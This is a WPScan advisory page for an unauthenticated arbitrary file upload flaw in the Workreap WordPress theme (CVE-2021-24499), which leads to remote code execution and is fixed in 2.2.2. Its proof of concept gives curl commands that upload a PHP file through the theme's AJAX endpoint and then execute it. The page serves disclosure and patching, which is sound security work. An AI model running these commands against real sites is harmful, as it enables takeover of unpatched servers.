WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact
WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact

Themes Vulnerabilities

Workreap < 2.2.2 - Unauthenticated Upload Leading to Remote Code Execution

Description

The theme's AJAX actions `workreap_award_temp_file_uploader` and `workreap_temp_file_uploader` did not perform nonce checks, or validate that the request is from a valid user in any other way. The endpoints allowed for uploading arbitrary files to the uploads/workreap-temp directory. Uploaded files were neither sanitized nor validated, allowing an unauthenticated visitor to upload executable code such as php scripts.

Proof of Concept

% curl -F 'action=workreap_award_temp_file_uploader' -F [email protected] 'http://example.com/wp-admin/admin-ajax.php'
{"type":"success","message":"File uploaded!","thumbnail":"http:\/\/example.com\/wp-content\/uploads\/workreap-temp\/malicious.php","name":"malicious.php","size":"24.00 B"}

% curl 'http://example.com/wp-content/uploads/workreap-temp/malicious.php'
PWNED! 

Affects Themes

workreap
Fixed in version 2.2.2

References

CVE
CVE-2021-24499
URL
https://jetpack.com/2021/07/07/multiple-vulnerabilities-in-workreap-theme/

Classification

Type

UPLOAD

CWE
CWE-434

Miscellaneous

Original Researcher

Harald Eilertsen (Jetpack)

Submitter

Harald Eilertsen (Jetpack)

Verified

Yes

WPVDB ID
74611d5f-afba-42ae-bc19-777cdf2808cb

Timeline

Publicly Published

2021-07-02 (about 1 years ago)

Added

2021-07-10 (about 1 years ago)

Last Updated

2022-04-12 (about 11 months ago)

Our Other Services

WPScan WordPress Security Plugin
WPScan

Vulnerabilities

WordPressPluginsThemesOur StatsSubmit vulnerabilities

About

How it worksPricingWordPress pluginNewsContact

For Developers

StatusAPI detailsCLI scanner

Other

PrivacyTerms of serviceSubmission termsDisclosure policyPrivacy Notice for California Users
jetpackIn partnership with Jetpack
githubtwitterfacebook
Angithubendeavor
Work With Us